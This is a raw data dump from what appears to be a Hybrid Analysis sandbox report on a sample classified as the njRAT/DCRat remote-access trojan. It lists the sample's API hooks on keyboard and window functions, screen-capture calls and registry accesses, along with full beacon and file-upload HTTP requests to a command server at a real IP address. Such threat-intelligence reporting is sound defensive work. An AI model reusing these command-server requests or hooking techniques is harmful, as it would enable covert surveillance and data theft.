24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 33:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T4c6,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Dacic.7C351673.A.Generic Sample 3d9d29b0f45e… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 3d9d29b0f45e…. Malware family: Dacic.7C351673.A.Generic. Threat score 100/100. 19/28 AV engines flagged this file. 8 malicious and 23 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2","keywords":["Malicious","Dacic.7C351673.A.Generic","malware analysis","sandbox report","threat intelligence","3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2"],"about":{"@type":"SoftwareApplication","name":"bounty-21208936221036190","applicationCategory":["peexe","assembly","executable"],"identifier":"3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Dacic.7C351673.A.Generic","antivirusDetections":{"malicious":19,"total":28},"behavioralIndicators":{"malicious":8,"suspicious":23},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:Te9a,"GET /proton/Javascript0Universal/authsecure/Eternal/902/localSecure/VmWordpressasyncwp/8AuthVoiddb/PrivatePipe/baseUniversal/javascript/protonPublicApi/ProtectPoll/09/processorSql.php?pmv=PZopg0ihS&f44973146f2a0ac6f655ae47c065828a=db85139e351ed906f42fc7dce2c49279&217ee64fc02aa1f192f2ae56b1dae308=gZxIGM1cDZ4QzY5MmNlFDZ3AzY4EjYwIDMlVTN5QDOwEjZmVjMkVGM&pmv=PZopg0ihS HTTP/1.1 Accept: */* Content-Type: text/csv User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 185.246.65.20 Connection: Keep-Alive" "GET /proton/Javascript0Universal/authsecure/Eternal/902/localSecure/VmWordpressasyncwp/8AuthVoiddb/PrivatePipe/baseUniversal/javascript/protonPublicApi/ProtectPoll/09/processorSql.php?lSNI6DV=NDSY1D21kP&e0UP=gLxF1jYwiSfj46e44g&su3F138gf=wU&04636627cdaefcef0271ac7c5a8c6e93=iZzYzczMlRGMmRjYzImM3IWZwQmMhVTY5YDOxImNkRWMkRDZmFmNiJTN4ETO5kjN2ITNyIzM&217ee64fc02aa1f192f2ae56b1dae308=QYjZmYwMmZ4gTNxU2MzUmYhZDOzUGMjJTM4UjZxkDOjdDZ3MjZmVzN&1c5b0418bfdc67bce722294236b1c387=0VfiIiOiQjMjJ2N0ITZ3YjYwQ2YjRDO2EzMxMGN2QWMxMDNwczYiwiIlhDN3EmZ1MzY3YWMhRjZxgTZiRjZiV2YxIzM4ATY2MmYlZzYjVDN3IiOiMDMyEGMlNzN2ATY0IGNiN2NjR2Y4YTO5ImYlNGZhBDOiwiI3ITOjRzM3QWMhVTY3MmZ4EzY2YzNmVmZwMTOlVWNmJTO4gTN2YjY0IiOicjZzATZ1QWZ2IWM1I2YwU2MxM2N2gTNycTZiNmYlVTZis3W HTTP/1.1 Accept: */* Content-Type: text/csv User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 185.246.65.20 Connection: Keep-Alive" "GET /proton/Javascript0Universal/authsecure/Eternal/902/localSecure/VmWordpressasyncwp/8AuthVoiddb/PrivatePipe/baseUniversal/javascript/protonPublicApi/ProtectPoll/09/processorSql.php?lSNI6DV=NDSY1D21kP&e0UP=gLxF1jYwiSfj46e44g&su3F138gf=wU&04636627cdaefcef0271ac7c5a8c6e93=iZzYzczMlRGMmRjYzImM3IWZwQmMhVTY5YDOxImNkRWMkRDZmFmNiJTN4ETO5kjN2ITNyIzM&217ee64fc02aa1f192f2ae56b1dae308=QYjZmYwMmZ4gTNxU2MzUmYhZDOzUGMjJTM4UjZxkDOjdDZ3MjZmVzN&3d1b870ecbfdaeb469259964345220dd=0VfiAjbJNGes9ERKl2Tpd2RkhmQsl0cJlmYzkTbiJXNXZVavpWSvJFWZFlUtNmdOJzYwJ1aJNXSplkNJNUYwY0RVRnRtNmbWdkYsJFbJNXSplkNJl3Y3JEWRRnRXpFMOxWSzlUaiNTOtJmc1clVp9maJVEbrNGbOhlV0Z0VaBjTsl0cJlmYzkTbiJXNXZVavpWS5ZlMjZVMXlFbSNTVpdXaJVHZzIWd01mYWpUaPl2YtJGa4VlYoZ1RkRlSDxUa0IDZ2VjMhVnVslkNJNUYwY0RVRnRXpFMOxWSzl0QaFjRFlUd5cVYwwWbiBnWXpVRCNUYux2RT9WQTpVd5cUY3lTbjpGbXRVavpWS6ZVbiZHaHNmdKNTWwFzaJNXSplkNJl3Y0ZkMZlmVyYVa3lWS1hHbjNmRUdlQ4VUVUxWRSNGesx0Y4ZEWjpUaPlWTuJGbW12Yq5EbJNXS5tEN0MkTp9maJVXOXFmeKhlWXRXbjZHZYpFdG12YHpUelJiOiQjMjJ2N0ITZ3YjYwQ2YjRDO2EzMxMGN2QWMxMDNwczYiwiIlhDN3EmZ1MzY3YWMhRjZxgTZiRjZiV2YxIzM4ATY2MmYlZzYjVDN3IiOiMDMyEGMlNzN2ATY0IGNiN2NjR2Y4YTO5ImYlNGZhBDOiwiI3ITOjRzM3QWMhVTY3MmZ4EzY2YzNmVmZwMTOlVWNmJTO4gTN2YjY0IiOicjZzATZ1QWZ2IWM1I2YwU2MxM2N2gTNycTZiNmYlVTZis3W HTTP/1.1 Accept: */* Content-Type: text/csv User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 185.246.65.20" "GET /proton/Javascript0Universal/authsecure/Eternal/902/localSecure/VmWordpressasyncwp/8AuthVoiddb/PrivatePipe/baseUniversal/javascript/protonPublicApi/ProtectPoll/09/processorSql.php?lSNI6DV=NDSY1D21kP&e0UP=gLxF1jYwiSfj46e44g&su3F138gf=wU&04636627cdaefcef0271ac7c5a8c6e93=iZzYzczMlRGMmRjYzImM3IWZwQmMhVTY5YDOxImNkRWMkRDZmFmNiJTN4ETO5kjN2ITNyIzM&217ee64fc02aa1f192f2ae56b1dae308=QYjZmYwMmZ4gTNxU2MzUmYhZDOzUGMjJTM4UjZxkDOjdDZ3MjZmVzN&1c5b0418bfdc67bce722294236b1c387=QX9JSUNJiOiQjMjJ2N0ITZ3YjYwQ2YjRDO2EzMxMGN2QWMxMDNwczYiwiIjJ2NhV2MxgjY0AjMlZTMkNmN3ETZjFDO2EGN0MGZlljZ2EWYkRTMhJiOiMDMyEGMlNzN2ATY0IGNiN2NjR2Y4YTO5ImYlNGZhBDOiwiI3ITOjRzM3QWMhVTY3MmZ4EzY2YzNmVmZwMTOlVWNmJTO4gTN2YjY0IiOicjZzATZ1QWZ2IWM1I2YwU2MxM2N2gTNycTZiNmYlVTZis3W HTTP/1.1 Accept: */* Content-Type: text/csv User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 185.246.65.20"26:T4b2,".exe" touched "WBEM Locator" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\INPROCSERVER32") ".exe" touched "Windows Management and Instrumentation" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\LOCALSERVER32") ".exe" touched "WbemStatusCode" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{EB87E1BD-3233-11D2-AEC9-00C04FB68820}\INPROCSERVER32") ".exe" touched "WbemDefaultPathParser" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\INPROCSERVER32") ".exe" touched "PSFactoryBuffer" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}") ".exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKCU\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\PROGID") ".exe" touched "Microsoft WBEM (non)Standard Marshaling for IEnumWbemClassObject" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\TREATAS") ".exe" touched "Microsoft WBEM WbemClassObject Marshalling proxy" (Path: "HKCU\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}\INPROCSERVER32")27:T491,"3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin" file has an entrypoint instructions - "jmpdword ptr [0x402000],addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,"28:T5dd,".exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-core-fibers-l1-1-1.DLL" ".exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-core-localization-l1-2-1.DLL" ".exe" trying to access non-existent file "C:\Windows\SYSTEM32\MSCOREE.DLL.local" ".exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-appmodel-runtime-l1-1-2.dll" ".exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-appmodel-runtime-l1-1-0.dll" ".exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" ".exe" trying to access non-existent file "C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" ".exe" trying to access non-existent file "C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll" ".exe" trying to access non-existent file "C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" ".exe" trying to access non-existent file "C:\winmm.dll" ".exe" trying to access non-existent file "C:\MMDevAPI.DLL" ".exe" trying to access non-existent file "C:\PROPSYS.dll" ".exe" trying to access non-existent file "C:\DNSAPI.dll" ".exe" trying to access non-existent file "C:\FLTLIB.DLL"29:T7ce,Observed function EnumDisplaySettings in 3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin Observed function GetMessageExtraInfo in 3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin Observed function CloseHandle in 3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin Observed function DestroyIcon in 3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin Observed function DeleteObject in 3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin Observed function SelectObject in 3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin Observed function CreateCompatibleDC in 3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin Observed function GetDesktopWindow in 3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin Observed function BitBlt in 3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin Observed function CreateDC in 3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin Observed function DeleteDC in 3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin Observed function SetCursorPos in 3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin Observed function mouse_event in 3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin Observed function QueryFullProcessImageName in 3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin Observed function GetCursorInfo in 3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin Observed function CopyIcon in 3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin Observed function GetIconInfo in 3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin Observed function GetForegroundWindow in 3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin Observed function GetWindowText in 3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin2a:T728,".exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") ".exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") ".exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") ".exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN") ".exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN") ".exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "FI-FI") ".exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "FI-FI") ".exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "FI") ".exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "FI") ".exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "ES-ES") ".exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "ES-ES") ".exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "ES") ".exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "ES") ".exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EL-GR") ".exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EL-GR") ".exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EL") ".exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EL") ".exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "DE-DE") ".exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "DE-DE")2b:T4e5,"POST /proton/Javascript0Universal/authsecure/Eternal/902/localSecure/VmWordpressasyncwp/8AuthVoiddb/PrivatePipe/baseUniversal/javascript/protonPublicApi/ProtectPoll/09/processorSql.php?lSNI6DV=NDSY1D21kP&e0UP=gLxF1jYwiSfj46e44g&su3F138gf=wU&04636627cdaefcef0271ac7c5a8c6e93=iZzYzczMlRGMmRjYzImM3IWZwQmMhVTY5YDOxImNkRWMkRDZmFmNiJTN4ETO5kjN2ITNyIzM&217ee64fc02aa1f192f2ae56b1dae308=QYjZmYwMmZ4gTNxU2MzUmYhZDOzUGMjJTM4UjZxkDOjdDZ3MjZmVzN HTTP/1.1 Content-Type: multipart/form-data; boundary=----------WebKitFormBoundaryPgch1EfKU42GQWtg User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 185.246.65.20 Content-Length: 833 Expect: 100-continue" with payload::==> "------------WebKitFormBoundaryPgch1EfKU42GQWtg Content-Disposition: form-data; name="86f3e4c043c9e091b6aac79c04c5c3ec" 4UWNmVWO4QmYmlTMhhjN4cDNmBzYkJTO2IzYkFmYwUWN5kDZlRjMl1yNykzY0MzNkFTY1E2NjZGOxMmN2cjZlZGMzkTZlVjZykDO4UjN2IGN ------------WebKitFormBoundaryPgch1EfKU42GQWtg Content-Disposition: form-data; name="b1b47f7b31c65dbc712b27e0455bcbd8"; filename="4b6658892f5ee930fef766c18fc7a5a1d734c927-e24ed995e0badc2692dc0f47868a19fbd89ef5e8"; Content-Type: ea15cbe7d4ae3ecaad657c84786a81cf PK"2c:Tb54,Found string "CreateCompatibleDC" (Source: 3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin, API is part of module: GDI32.DLL) Found string "SuspendThread" (Source: 3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin, API is part of module: KERNELBASE.DLL) Found string "ResumeThread" (Source: 3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin, API is part of module: KERNELBASE.DLL) Found string "OpenThread" (Source: 3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin, API is part of module: KERNELBASE.DLL) Found string "GetMethod" (Source: 3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin, API is part of module: WMINET_UTILS.DLL) Found string "CloseHandle" (Source: 3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin, API is part of module: KERNELBASE.DLL) Found string "Rectangle" (Source: 3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin, API is part of module: GDI32.DLL) Found string "QueueUserWorkItem" (Source: 3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin, API is part of module: KERNEL32.DLL) Found string "DestroyIcon" (Source: 3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin, API is part of module: USER32.DLL) Found string "GetMessageExtraInfo" (Source: 3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin, API is part of module: USER32.DLL) Found string "GetIconInfo" (Source: 3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin, API is part of module: USER32.DLL) Found string "GetCursorInfo" (Source: 3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin, API is part of module: USER32.DLL) Found string "SetCursorPos" (Source: 3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin, API is part of module: USER32.DLL) Found string "GetCurrentProcess" (Source: 3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin, API is part of module: KERNELBASE.DLL) Found string "waveInGetNumDevs" (Source: 3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin, API is part of module: WINMM.DLL) Found string "DeleteObject" (Source: 3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin, API is part of module: GDI32.DLL) Found string "SelectObject" (Source: 3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin, API is part of module: GDI32.DLL) Found string "GetParent" (Source: 3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin, API is part of module: USER32.DLL) Found string "SendInput" (Source: 3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin, API is part of module: USER32.DLL) Found string "GetForegroundWindow" (Source: 3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin, API is part of module: USER32.DLL)2d:T8af,".exe" wrote bytes "e9e25304f6" to virtual address "0x76493C29" ("ShellExecuteW@SHELL32.DLL") ".exe" wrote bytes "1099f07500000000b53828779051277700000000e0c57075fdfe7075ee29287700000000" to virtual address "0x6DE11000" (part of module "KSUSER.DLL") ".exe" wrote bytes "e981b8e3f7" to virtual address "0x7469E52A" ("GetIpNetTable@IPHLPAPI.DLL") ".exe" wrote bytes "e9de7bb5f6" to virtual address "0x75992B1D" ("GetKeyState@USER32.DLL") ".exe" wrote bytes "e9cd03b6f6" to virtual address "0x7598A21E" ("GetAsyncKeyState@USER32.DLL") ".exe" wrote bytes "1df96ba9" to virtual address "0x6830F798" (part of module "CLR.DLL") ".exe" wrote bytes "e9d80de4f7" to virtual address "0x74699263" ("GetAdaptersInfo@IPHLPAPI.DLL") ".exe" wrote bytes "db4da87100000000" to virtual address "0x000B2000" (part of module "3D9D29B0F45EBF573EF99506D6BF85BB374A7FB138BA44520187851A89993CA2.EXE") ".exe" wrote bytes "e97e270df5" to virtual address "0x774073AD" ("CreateCompatibleBitmap@GDI32.DLL") ".exe" wrote bytes "e9963bb6f6" to virtual address "0x75986EF5" ("GetWindowTextA@USER32.DLL") ".exe" wrote bytes "e7392477e1a628772e712877ee29287785e223776da02877906427773ad52e7726e42377d16d2877003d2677804b267700000000ad373a778b2d3a77b6413a7700000000" to virtual address "0x74AF1000" (part of module "WSHIP6.DLL") ".exe" wrote bytes "e9b078b5f6" to virtual address "0x7599372B" ("EnumWindows@USER32.DLL") ".exe" wrote bytes "e9ee74b5f6" to virtual address "0x7599332D" ("GetForegroundWindow@USER32.DLL") ".exe" wrote bytes "e99ef4b5f6" to virtual address "0x7598B88D" ("GetWindowTextW@USER32.DLL") ".exe" wrote bytes "e9486fb3f6" to virtual address "0x759B3B03" ("GetActiveWindow@USER32.DLL") ".exe" wrote bytes "fae62377e1a628772e712877ee29287785e223776da0287726e42377d16d2877003d2677804b267700000000ad373a778b2d3a77b6413a7700000000" to virtual address "0x745A1000" (part of module "WSHTCPIP.DLL") ".exe" wrote bytes "e93b03e1f5" to virtual address "0x766C8790" ("ShellExecuteA@SHELL32.DLL")2e:T4e4,"POST /proton/Javascript0Universal/authsecure/Eternal/902/localSecure/VmWordpressasyncwp/8AuthVoiddb/PrivatePipe/baseUniversal/javascript/protonPublicApi/ProtectPoll/09/processorSql.php?lSNI6DV=NDSY1D21kP&e0UP=gLxF1jYwiSfj46e44g&su3F138gf=wU&04636627cdaefcef0271ac7c5a8c6e93=iZzYzczMlRGMmRjYzImM3IWZwQmMhVTY5YDOxImNkRWMkRDZmFmNiJTN4ETO5kjN2ITNyIzM&217ee64fc02aa1f192f2ae56b1dae308=QYjZmYwMmZ4gTNxU2MzUmYhZDOzUGMjJTM4UjZxkDOjdDZ3MjZmVzN HTTP/1.1 Content-Type: multipart/form-data; boundary=----------WebKitFormBoundaryPgch1EfKU42GQWtg User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 185.246.65.20 Content-Length: 833 Expect: 100-continue" with payload:==> "------------WebKitFormBoundaryPgch1EfKU42GQWtg Content-Disposition: form-data; name="86f3e4c043c9e091b6aac79c04c5c3ec" 4UWNmVWO4QmYmlTMhhjN4cDNmBzYkJTO2IzYkFmYwUWN5kDZlRjMl1yNykzY0MzNkFTY1E2NjZGOxMmN2cjZlZGMzkTZlVjZykDO4UjN2IGN ------------WebKitFormBoundaryPgch1EfKU42GQWtg Content-Disposition: form-data; name="b1b47f7b31c65dbc712b27e0455bcbd8"; filename="4b6658892f5ee930fef766c18fc7a5a1d734c927-e24ed995e0badc2692dc0f47868a19fbd89ef5e8"; Content-Type: ea15cbe7d4ae3ecaad657c84786a81cf PK"2f:T56e,YARA signature "win_njrat_g0" classified file "3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin" as "njrat,rat" based on indicators: "790079002d004d004d002d0064006400,2000260020006500780069007400" (Author: Various authors / Slavo Greminger, SWITCH-CERT) YARA signature "MALWARE_Win_DCRat" matched file "3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin" as "DCRat payload" based on indicators: "440043005200610074002d004c006f0067002300,440043005200610074002e0043006f0064006500,50006c007500670069006e00200063006f0075006c0064006e00270074002000700072006f00630065007300730020007400680069007300200061006300740069006f006e002100,55006e006b006e006f0077006e00200063006f006d006d0061006e0064002100,53006100760069006e00670020006c006f0067002e002e002e00,7e0057006f0072006b002e006c006f006700,2500530079007300740065006d0044007200690076006500250020002d00200053006c006f007700,25005500730065007200730046006f006c00640065007200250020002d0020004600610073007400,25004100700070004400610074006100250020002d002000560065007200790020004600610073007400" (Author: ditekSHen) YARA signature "INDICATOR_SUSPICIOUS_EXE_Embedded_Gzip_B64Encoded_File" matched file "3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin" as "Detects executables containing bas64 encoded gzip files" based on indicators: "48003400730049004100410041004100410041004100" (Author: ditekSHen)30:T400,/proton/Javascript0Universal/authsecure/Eternal/902/localSecure/VmWordpressasyncwp/8AuthVoiddb/PrivatePipe/baseUniversal/javascript/protonPublicApi/ProtectPoll/09/processorSql.php?lSNI6DV=NDSY1D21kP&e0UP=gLxF1jYwiSfj46e44g&su3F138gf=wU&04636627cdaefcef0271ac7c5a8c6e93=iZzYzczMlRGMmRjYzImM3IWZwQmMhVTY5YDOxImNkRWMkRDZmFmNiJTN4ETO5kjN2ITNyIzM&217ee64fc02aa1f192f2ae56b1dae308=QYjZmYwMmZ4gTNxU2MzUmYhZDOzUGMjJTM4UjZxkDOjdDZ3MjZmVzN&3d1b870ecbfdaeb469259964345220dd=0VfiAjbJNGes9ERKl2Tpd2RkhmQsl0cJlmYzkTbiJXNXZVavpWSvJFWZFlUtNmdOJzYwJ1aJNXSplkNJNUYwY0RVRnRtNmbWdkYsJFbJNXSplkNJl3Y3JEWRRnRXpFMOxWSzlUaiNTOtJmc1clVp9maJVEbrNGbOhlV0Z0VaBjTsl0cJlmYzkTbiJXNXZVavpWS5ZlMjZVMXlFbSNTVpdXaJVHZzIWd01mYWpUaPl2YtJGa4VlYoZ1RkRlSDxUa0IDZ2VjMhVnVslkNJNUYwY0RVRnRXpFMOxWSzl0QaFjRFlUd5cVYwwWbiBnWXpVRCNUYux2RT9WQTpVd5cUY3lTbjpGbXRVavpWS6ZVbiZHaHNmdKNTWwFzaJNXSplkNJl3Y0ZkMZlmVyYVa3lWS1hHbjNmRUdlQ4VUVUxWRSNGesx0Y4ZEWjpUaPlWTuJGbW12Yq5EbJNXS5tEN0MkTp9maJVXOXFmeKhlWXRXbjZHZYpFdG12YHpUelJiOiQjMjJ2N0ITZ3YjYwQ2YjRDO2EzMxMGN2QWMxMDNwczYiwiIlh ...31:T569,GET /proton/Javascript0Universal/authsecure/Eternal/902/localSecure/VmWordpressasyncwp/8AuthVoiddb/PrivatePipe/baseUniversal/javascript/protonPublicApi/ProtectPoll/09/processorSql.php?lSNI6DV=NDSY1D21kP&e0UP=gLxF1jYwiSfj46e44g&su3F138gf=wU&04636627cdaefcef0271ac7c5a8c6e93=iZzYzczMlRGMmRjYzImM3IWZwQmMhVTY5YDOxImNkRWMkRDZmFmNiJTN4ETO5kjN2ITNyIzM&217ee64fc02aa1f192f2ae56b1dae308=QYjZmYwMmZ4gTNxU2MzUmYhZDOzUGMjJTM4UjZxkDOjdDZ3MjZmVzN&3d1b870ecbfdaeb469259964345220dd=0VfiAjbJNGes9ERKl2Tpd2RkhmQsl0cJlmYzkTbiJXNXZVavpWSvJFWZFlUtNmdOJzYwJ1aJNXSplkNJNUYwY0RVRnRtNmbWdkYsJFbJNXSplkNJl3Y3JEWRRnRXpFMOxWSzlUaiNTOtJmc1clVp9maJVEbrNGbOhlV0Z0VaBjTsl0cJlmYzkTbiJXNXZVavpWS5ZlMjZVMXlFbSNTVpdXaJVHZzIWd01mYWpUaPl2YtJGa4VlYoZ1RkRlSDxUa0IDZ2VjMhVnVslkNJNUYwY0RVRnRXpFMOxWSzl0QaFjRFlUd5cVYwwWbiBnWXpVRCNUYux2RT9WQTpVd5cUY3lTbjpGbXRVavpWS6ZVbiZHaHNmdKNTWwFzaJNXSplkNJl3Y0ZkMZlmVyYVa3lWS1hHbjNmRUdlQ4VUVUxWRSNGesx0Y4ZEWjpUaPl